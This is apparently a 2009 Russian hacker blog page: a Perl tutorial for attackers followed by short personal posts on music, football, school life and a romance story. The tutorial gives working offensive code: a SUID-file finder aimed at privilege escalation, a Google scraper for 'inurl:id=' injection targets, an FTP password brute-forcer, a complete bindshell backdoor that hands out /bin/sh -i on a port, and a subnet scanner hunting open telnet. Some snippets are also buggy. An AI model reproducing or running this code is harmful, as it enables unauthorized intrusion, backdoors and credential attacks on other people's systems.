Представим, что нам необходимо просканировать всю систему и найти файлы с suid битом (думаю ясно для чего). На перле это сделать просто также, как два байта передать.
Набросаем примерный алгоритм функции поиска:
*Функции принимает аргумента в качестве стартового каталога.
*Переходим в указанный каталог и начинаем поиск
*Проверяем файлы, а если встречаем каталог, то вызываем функцию повторно (рекурсивно)
Да, если встречаем "." или ".." то пропускаем их. Т.к. первая указывает на текущий каталог, а вторая на каталог выше.
Собстенно сам код:

Код:

#!/usr/bin/perl
  use Cwd; #С помощью этого модуля мы определим текущий каталог
   
  sub Findf
  {
  my($work)=shift;
  my($start)=&cwd;
  chdir($work) || die "Error!\n"; #переходи
  opendir(DIR,".") || die "Error\n"; #открываем дирикторию
  my @names=readdir(DIR) || die "Error!\n"; #читаем файлы
  closedir(DIR);
  foreach my $name(@names)
  {
  next if($name eq "."); #пропускаем, если это указатель на каталог
  next if($name eq "..");
  if(-l $name){next;} #если ссылка пропускаем
  if(-d $name) #если это директория, то вызываем нашу функцию
  {&Findf($name);next;}
  if(-u $name)# если установлен суид бит выводим инфу
  {
  print "Найден суидный файл - $name\n";
  }
  }
  chdir($start);
  }
  &Findf(".");

В этом коде для определения suid бита у файла мы используем опцию -u. Так же можно было использовать модуль File::stat. Но в нашем случае проще обойтись ключом -u.
Вот еще несколько опций для определения статусной информации о файле:

Код:

-e - проверка существования файла
  -z - файл существует и он пустой
  -r - У нас есть права на чтение файла
  -w - у нас есть права на изменение файла
  -x - у нас есть права на редактирование файла
  -o  - мы являемся владельцем файла
  -f - это обычный файл
  -d -это каталог
  -l  - это ссылка
  -u присутствует suid бит
  -g присутствует guid бит
  -k присутвтвует липкий бит (steek bit)
  -T - это текстовой файл
  -B - это бинарный файл

Можно, например, составить список каталогов, которые доступны нам.

Этюд 2. Парсинг? *YES*.
Скажу вот что - написав всего лишь один скрипт для парсинга ответов гугла и наши возможности практически безграничны.
Ведь google это самый мощный поисковик. С помощью него мы сможем получить гораздо больше информации о сайте & сервере, чем при прямом запросе к ресурсу.
Например, можно провести ReversIP разведку, или составить структуру сайта. Вот только проблема в том, что google при большом кол-ве запросов попросту банит нас. Так что нужно быть аккуратными.
Наш пример будет делать в гугл запрос "inurl: id=" и выбирать ссылки из полученной страницы.
Что будем использовать в нашем коде:

Код:

HTML::LinkExtor - для поиска ссылок.
  LWP::UserAgent - для запросов.

Поехали!

Код:

#!usr/bin/perl
  use LWP::UserAgent;
  use HTML::LinkExtor;
   
  sub parser
  {
  my $ua=LWP::UserAgent->new(); #создаем объект
  $in=0;
  for($in=0;$in<2;$in=$in+10) # первые две страницы
  {
  my $url="http://google/search?q=inurl:id=&start=$in";
  $ua->agent("GR-TEAM sql finger");
  my $req=HTTP::Request->new(GET=>$url);
  $req->referer("www.getroot.ru");
  my $resp=$ua->request($req);
   
  $html=$html.$resp->content();#получаем пагу
  }
  $p = HTML::LinkExtor->new(\&cb);#все ссылки будут обрабатываться в cb() 
  $p->parse($html);
   
  sub cb #функция для обработки ссылок 
  {
  @links=@_;#принимаем аргумент
  $i=0;
  foreach $na(@links)#перебираем ссылки
  {
   
  if(index($na,"id=")!=-1)#если ссылка не левая, а нашим запросом
  {
  if(index($na,"inurl:")==-1)
  {@urls[$i]=$na; $i++} # то закидываем это все в массив
  }
   
  }

Функция cb обрабатывает ответы объекта $p. В качестве аргумента ей направляются наши ссылки.

Парсер конечно не из лучших, но для примера подойдет.

Этюд 3. Брутофорс по нашему.
С помощью модуля NET::FTP простой брутajhc на перл можно написать за 10 минут.
Удобство в том, что не нужно вдаваться в подробности работы протокола и можно уделить больше времени алгоритму. Итак, брут.
Сначала забьем пароли в отдельный массив, а потом попросту будет из оттуда вынимать и пытаться подключиться.
Смотримкод:

Код:

use Net::FTP;
  sub ftpb
  {
  print "Введите хост:\n";
  $hostftp=;
  print "Введите имя пользователя\n";
  $loginftp=;
  print "Введите путь до файла с паролями\n";
  $passftp=;#приняли данные
  open(FILE,$passftp) || die "File pass not found\n";#открываем файлик
  $index=0;
  while()
  {
  chomp($_);
  @passwordsftp[$index]=$_; #записываем пароли в массив
  $index++;
  }
  $max=@passwordsftp;
  my $brut=Net::FTP->new($hostftp) || die "Не получается подключиться к указанному хосту\n";
  for($index=1;$index<$max;$index++)#запускаем главный цикл
  {
  $ftp->login("$loginftp", "$passftp") || next; #пытаемся
  print "Пароль $passftp подошел)\n";
  }
  }

Что сюда можно добавить.
Во-первых все входные данные желательно прогонять через функцию chomp. Она удалит знаки перевода каретки (\n), если такие имеются.
Во-вторых, думаю просто обязательно нужно включить многопоточность.
В-третьих, можно включить функцию, позволяющую пользователю самому выбирать, например timeout. Таймаут можно указать при подключении к хосту:

Код:

my $brut=Net::FTP->new($hostftp,Timeout => число) || die "Не получается подключиться к указанному хосту\n";

Этюд 4. BindShell.
Таксс. Сейчас я покажу пример bindshell бэкдора на perl
Это бывает очень полезно.
Как всегда сначала смотрим алгоритм.
Во-первых, биндим порт.
Во-вторых, запускаем потоки ввода вывода.
В-третьих, запускам терминал.
А вот и сам код:

Код:

#!/usr/bin/perl
  #bindshell.pl
  #Usage: perl bindshell.pl &
  use Socket;
  $p=56000;
  socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')  );
  setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
  bind(S,sockaddr_in($p,INADDR_ANY));
  listen(S,50);
  while(1)
  {
  accept(X,S);
  if(!($pid=fork)){
  if(!defined $pid){exit(0);}
  open STDIN,"<&X";
  open STDOUT,">&X";
  open STDERR,">&X";
  exec("/bin/sh -i");
  close X;
  }
  }

Этюд 5. Сканирование под собственные нужды.
Сначала я хотел в этом топе показать обычный сканер портов. Но это скучно.
Покажу ка лучше вот что: тоже сканер, но сканировать он будет указанный диапазон ip, на один открытый порт, тот который мы укажем.
Ну, например мы просканируем какую то сеть на открытый 23 порт. Те системы, у которых он открыт, могут быть уязвимы.
Итак, алгоритм:
Нам будет дан адрес и порт. В цикле перебираем последний разряд айпишника от 0 до 255 и пытаемся подключиться к указанному порту.
Ну и все в принципе. Если подключение произошло успешно, выводим адрес.
Вотисходник:

Код:

#!/usr/bin/perl
  use Socket;
  $host=@ARGV[0];
  $port=@ARGV[1];
  @ip=split (/\D+/, $host); #делим айпи на разряды по точке
  $index=0;
  $r1=$ip[0]; #записываем разряды в массив
  $r2=$ip[1];
  $r3=$ip[2];
  $host=$r1.".".$r2.".".$r3; #составляем предварительный адрес
   
   socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
   
  while($index<=255)
  {
  $host=host.".".$index; #составляем окончательный адрес
   $addr = inet_aton($host); # далее коннект
          $paddr = sockaddr_in($port, $addr);
          if(connect(SOCK, $paddr)){
           print("Host: $host open $port port");
          }else{
          next;
          }
   
  }

Это нужно принимать как макет.
Если будет серьезная разработка, то нужно включить многопоточность.
Вообще еще можно сделать так:
читать баннеры и сравнивать их с уязвимыми. Если сходиться, то сервис возможно уязвим.

Напоследок.
Данный материал был написан даже не с целью напичкать вас чем то новым (если это для вас ново), а для того что бы показать всю привлекательность языка perl. Я искренне надеюсь, что после этой статьи вам захочется изучать его.

Ps обо всех недочетах и ошибках пишем в комментариях, не стесняемся
скачать

StraNger aka reaL StraNger

rammstein

2009-10-20T11:52:00.000+03:00

Стал их слухать. ДОвольно неплохо. Думаю над тем что бы полностью переходить на тяжелую...
Классные у них шоу.

Как это работает?

2009-10-17T17:02:00.002+03:00

Собственно давное уже ношу эту идею.
Делать небольшие обзоры работы программ. Т.е. берем сниффер, рассказываю как они работают, естественно привожу исходные коды, и т.п.
Если получиться, то скоро появиться на getroot, ну и тут тоже.

Оленизьм достиг небывалых высот.

2009-10-16T18:23:00.000+03:00

Гг. Собственно зашел к себе в личку на хз и вижу такое сообщение:

Привет!Извини за беспокойство но у меня вопрос!Можно-ли что нибудь с одноклассниками??Если да,то напиши мне пожалуйста!!!

Раньше хоть вопрос был более или менее понятен. Теперь все. Деградация дошла до потолка. Теперь они не утруждают себя правильно формулировать мысль. Это писец.

Размышление о складе ума.

2009-10-13T15:29:00.000+03:00

По моему у человека нет определенного склада ума. Все чего он добился, это добился сам. Т.е. если подумать, то любой гуманитар покорпев какое то время над учебниками сможет без проблем решать математические задачи. Тут все зависит от того, как долго над этим работать. По моему природа не дает кому то математический, а кому то гуманитарный ум. Все это складывается из постоянной работы. Тут уж дело в том ленивый человек или нет. А все эти разговоры про данный от природы ум, всеголишь пустые отмазки.

Германия:Россия. Ногамяч

2009-10-10T16:06:00.002+03:00

Совсем немного осталось до матча Германия:Россия.
Нам предстоит встретится с довольно серьезным противником. Если обратиться к статистике, то число выйгранных матчей между Германией и Россией превышает у Германии. Причем значительно. Ну что ж. Посмотрим.
Кстати буквально час назад посмотрел док. фильм про Гуса.

Дикие старушенции

2009-10-07T16:02:00.003+03:00

По моему в каждом подъезде есть такие противные старушки, которые за всеми следят и которые всеми недовольны. БЕсят такие. Буду думать как ее доепать.
Бабулька полюбит металл рок

Я

2009-10-07T14:46:00.000+03:00

ГГ родители на 2 дня уезжали...

Крыса и лиса.

2009-09-28T16:57:00.003+03:00

+
Читаю вот блог Криса и вижу на его скриншотах только браузер firefox.
Касперски значт Лису юзает. Вот оно как. А вы Опера Опера...

findadmin

2009-09-28T12:47:00.003+03:00

Простой perl скрипт. Производит брут заданых путей в поисках админки.
Ищет по базе. В срипте забито всего 6 путей. Можете сами расширять.
Использование:

[stranger@bash]$perl ./findadmin.pl www.site.ru

Думаю включить возможность брута через прокси и обращение к поисковикам.
view

Чихание

2009-09-27T14:39:00.001+03:00

Щаз заметил такую весщ:
Вот чихнешь один раз тебе говорят "Будь здоров", а тебе кажется что ты еще хочешь чехнуть и не знаешь стоит ли говорить спасибо или дождаться следущего чиха и уже после него. Просто второй вариант более оптимизированный, НО! А если этого чиха не настанет? Что делать тогда?
Вот такая проблемка.

Посещаемость

2009-09-27T07:53:00.003+03:00

Мдя...

Я так долго тебя искал

2009-09-23T16:39:00.001+03:00

Откопал в архивах рассказец этот. Прошу цинникам не читать, т.е. кроме ржачки ни чего не найдете.

Он не любил этот праздник. Эти сердечки во всех видах. Голубки и ленточки. Маленькие открыточки с ангелочками и все теми же сердечками. Плюс он был консерватор. В его детстве отмечали 8 марта и 23 февраля. Он до сих пор с каким-то умилением вспоминал одноклассниц, которые очень ответственно относились к этим мероприятиям.

Уж они то, наверное, без ума от этого праздника. «День всех влюбленных» — надо же! Нет, кроме рока и нескольких других необходимых вещей, Запад подарил и кое-что пошло-бесполезное...

У него не было любимой девушки. У него был кот и компьютер. И масса скрытых достоинств.
Наверное, очень хорошо скрытых. Потому что пока девушки их не разглядели. А то, что они видели, не вызывало у них восторга. Сонно-неряшливый вид, особенно с утра. Постоянные разговоры о компьютерах, серверах, модемах. Через час общения девушка уже точно знала, что Unix — это хорошо, а вот Microsoft — это неприличное слово. И ей совершенно не стоило упоминать, что она тоже имеет отношение к компьютеру, и недавно поменяла себе обои на рабочем столе.

А его приводил в восторг ужас в глазах девушек, когда они слышали, что компьютер может работать без Windows. И почему-то они сразу куда-то уходили. Нельзя сказать, что это его сильно расстраивало. У него была все что ему нужно для жизни.
Многи считали его сумасшедшим. А он плевал на них всех. Он некогда из не понимал…

Для зимы было что-то уж очень слякотно. И еще этот праздник. Все это раздражало. Что бы хоть как-то развеяться, он решил зайти в книжный магазин. Перед входом он остановился. И тут — огромные сердечки на всю витрину!
— Какая гадость, — не выдержав, сказал он вслух.
— Гадость? — Удивилась девушка, как раз вышедшая из магазина.

Она пыталась положить в сумку какую-то книжку.
— Ну, да. Вам, должно быть, очень нравятся все эти сердечки, открыточки, и сам этот праздник?
— Нравятся. Это очень романтичный праздник. А Вам, я вижу, нет?
— Не то слово. Как, как такое может нравиться?!

Девушка хотела ответить и, судя по всему, резко. Но тут пробегавший мимо здоровый мужик задел ее. Книжка, которую она так и не положила в сумку, выпала. Они наклонились над ней почти одновременно. Но он все-таки поднял книгу первым...

Эта книга как-то не вязалась с его представлением о девушках. Он с удивлением посмотрел на свою незнакомку. Она была высокая и симпатичная.
— Это вы купили для себя? Она рассмеялась.

Это была замечательная девушка. Она знала, что такое Unix, отличала FreeBSD от Linux, и понимала, что, когда он говорит машина, то не имеет в виду автомобиль. Но при этом она не знает такую кучу полезной информации. Ей действительно интересно и она задает вопросы! Настоящие вопросы. Толковые, с полным пониманием темы. Они говорили и говорили. И даже в какой-то момент они заговорили не о компьютерах...

Было уже поздно. Она с сожалением сказала, что ей пора. А он вдруг понял, что не может ее отпустить. Оказывается фраза, «я так долго тебя искал» — не выдумка доморощенных поэтов. А то, что ей нравится этот праздник — это ведь такая мелочь.
Теперь в его жизни появилось что то еще кроме компьютера…

...И он впервые в жизни купил цветы для своей девушки.

Контактные линзы

2009-09-23T08:59:00.003+03:00

В последнее время зрение стало падать.
Сначала очки советовали, но так как я ярый противник четырехглазых решил приобрести линзы.
Очень даже удобно. ухх!

antichat+что за хрень?

2009-09-22T16:11:00.000+03:00

Хм... что это за фигня?

Основы хакерства

2009-09-22T10:19:00.005+03:00

Опубликовал уже 5 урок основ хакерства.
Вроде все довольны - новички довольно, шура доволен.
Думаю тут их выложить, а то на портале оформление косячило.
Хм... а ведь когда то сам читал статьи владухи и наверное даже и не мечтал, что когда то буду продолжителем его дела.. ы =D

Сплин - Сигнал из космоса

2009-09-21T11:49:00.004+03:00

Уххухх! Сплин подготовили наконец новый альбом.
18 треков.... руль.
Некоторые уже послушал на офсайте. Васильев - !!!

зы что то познавато я проснулся

Геймер зарубил вора самурайским мечом!

2009-09-20T11:35:00.003+03:00

Многие считают, что геймеры – это хилые ботаники в очках, которые целыми днями сидят у монитора и не могут постоять за себя. Однако история, случившаяся в США, рисует нам совсем другой образ любителя игр.

Все произошло в доме, который вместе с товарищами снимал студент Университета им. Дженса Хопкинса. Ночью он услышал странный шум и решил проверить, что происходит на первом этаже. На днях у ребят уже украли несколько ноутбуков и PlayStation, поэтому парень предусмотрительно вооружился самурайским мечом. Студент заметил, что дверь в гараж была приоткрыта. Когда он вошел внутрь, на него бросился неизвестный мужчина. Результат - труп преступника с отрубленной рукой и несколькими ранами в области шеи. Ну а студенту, защищавшему свою PlayStation с помощью меча, предстоит доказать, что он не превысил пределов необходимой самообороны.

Писец, больше нечего сказать. Всегда знал что гамилки людей до добра не доводят

Выходные

2009-09-19T09:15:00.002+03:00

Ух! Наконец то выходные. Думал не доживу.
Буду отсыпаться....

Лезут кому не лень.

2009-09-18T17:45:00.003+03:00

Мдя. По моему в IT лезут все кому не лень.
Поступающие думают, что зная Паскаль они будут спецами на курсе. ПпЦ.
А в айти сеqчас полезно довольно много человек. И думаю в будущем будет еще больше.
Но все таки адекваты в минусе. И это..... радует.
Пост написан по мотивам сообщения Scipio.

Счет с нуля? НиХуЯ

2009-09-15T16:28:00.003+03:00

Похоже я начал заболевать типичной кодерской болезнью - счет с нуля. Раньше за собой не замечал, а вот теперь понял. Мдя... это должно было случиться

Товарищ сенсей

2009-09-13T10:02:00.000+03:00

Во как!

День программиста

2009-09-12T13:24:00.003+03:00

Ну вот наконец то 13 сентября официально сделали днем программиста.
Себя к программистам не отношу, но от всего сердца поздравляю людей занимающихся этой нелегкой профессией.

Нытики....

2009-09-11T20:33:00.003+03:00

Вот заепали уже эти нытики. Всем хреново, у всех депрессия. Одного девушка бросила, у другого хуй отвалился. Пля.
Вокруг одни пессимисты!
Нужно смотреть на жизнь веселей .!.
Все идет по плану!

Бред после кофе. 2 чашка

2009-09-07T13:23:00.003+03:00

А вот еще. Самый кул. Просто кул. Я чуть не прослезился:

Хороша сегодня школа, зал горит огнём.
На четвёрки и пятерки пляшем и поём.
Кто в учёбе отличился, кем гордится класс,
Тот умеет веселиться лучше в 10 раз.

Мой новый сосед по парте в прошлой четверти был не ахти,
Все оценки ниже пяти, твердых четверок нету почти.
Если наши багажи знаний сохранить в формате TXT,
Ему дискеты хватит, мне - не менее девяти DVD.
Даже Георгий Петрович, покровитель двоечников,
Пять ему по труду не поставил, а с ним не поспоришь никак.
Если вызовешь Chest'а к доске, чувство, будто бы доешь быка.
Вроде бы даже что-то мычит, но хоть убей, не видать молока.
На уроках валял дурака, в плеере громко гонял Тупака.
Лишь для просьбы выйти в толчок, вздымалась над партой его рука.
Но мне до этого не было дела, пока в предверии школьного огонька,
Он обидное слово не написал на обложке моего дневника.
Я даже не стал стирать его ластиком, а просто во время праздника
Взял mic в актовом зале и наказал проказника.
Chest пожалел, что в кастинге, среди папиных белых головастиков.
Он во время зачатия не стал непрошедшим участником.

Мой забойный фристайл в зале, произвёл небывалый фурор,
Все, кто стоял до сих пор затанцевали комплексам наперекор.
Даже лысый физрук-негатив для себя открыл новый спорт
И весело махая барсеткой в пляс пустился во весь опор.
Его задор здорово вдохновил препода биологии
Сева всегда спокойней удава был, но сегодня его ослушались ноги.
Сделав растения вида каннабис-индика жадный напассик
Он выбежал на танцол с криками "Wicked! Wicked! Jungle is massive!"
Мисси под Drum'n'Bass-овое мясо колбася в экстазе
Тоже выкрикивала фразы на преподаваемом ею ин. язе.
Понимал её только Вова, сидевший с Артуром за одной партой.
Говорил: "Вот немка наклюкалась. Дура - башка болеть будет завтра."
Говорил он это так быстро, что разобрать никто не успевал.
Тем более частоты низкие плотно прокачивали актовый зал.
Вот как был проучен нахал. Весь народ радовался и ржал.
Крепкой двойкой в итоге стал Chest'а средний годовой балл

NOIZE MC

2009-09-07T13:03:00.011+03:00

Статьи, которые я когда либо писал.
Многие из них писал давно, так что уровень может страдать.

Кодерские хаки
Вооруженный пингвин. Компактный софт для боевых действий.
h3k FAQ
Perl. Лучший друг хакера.
Пять раз - hack
Story. Полночный взлом
Баги в исходных кодах. Part 2
Баги в исходных кодах
Основы *NIX кодинга. Часть 1.
Клиент сервер на основе WinSock
Шалим в реестре.
Полезности в delphi или FAQ дельфиста.

©StraNger

Тяжелые будни

2009-09-07T10:38:00.002+03:00

Ух блин. Не думал я, что физрук на меня так насядет.
К тому же не могу войти в колею, в сеть выхожу только пару раз в день. Времени не хватает (простите тимовцы). Ну ничего. Счаз с делами разберусь и заведусь.

Супер событие

2009-09-06T07:46:00.004+03:00

Уже весь интернет трясется от этой новости. У fraIzer а днюха. И причем юбилей.
Поздравляю, бро! Пусть тебя всегда сопровождает попутный ветер.

cDc

2009-08-29T18:09:00.004+03:00

Ужеес. Оказалось, что половина моих знакомых не знает что такое (точнее кто такое) культ мертвой коровы.
Как можно не знать эту старейшую группу компьютерного андеграунда. Ну по крайней мере все знают знаменитый Back Orifice. Ведь Его написали люди из cDc. Вообще про них ходят много слухой и сплетен. Говорили что они нарушили движение спутника, что они воюют с цероковью. Короч много чего.... Надо будет замутить как нибудь рассказец про них.

ыкал)

2009-08-25T18:31:00.002+03:00

шайтан подкинул:)

Возвращаюсь к delphi

2009-08-25T09:39:00.002+03:00

Решил опять начать программировать на дельфи.
В последнее время я его совсем забросил.
На харде даже среды не было.
Но вчера скачал 2009 поставил. Буду кодить иногда.

Отдохнул

2009-08-22T15:50:00.001+03:00

Вобщем наконецто собрались с друзьями съездить за город.
Седня утром поехали. Попили пивка, пожарили шашлычки....=)
Потом гроза началась, потом град пошел. ППц. Ну правда потом еще купаться бегали.
Вобщем норм... Я даж загорел

Понаехали =)

2009-08-20T07:48:00.001+03:00

ППц. Вчера приехала сестра сегодня приедет ее парень. Окупируют мой PC и будут сидеть в своих одноклассниках и вконтактиях. У меня тольк ноут. Буду читать.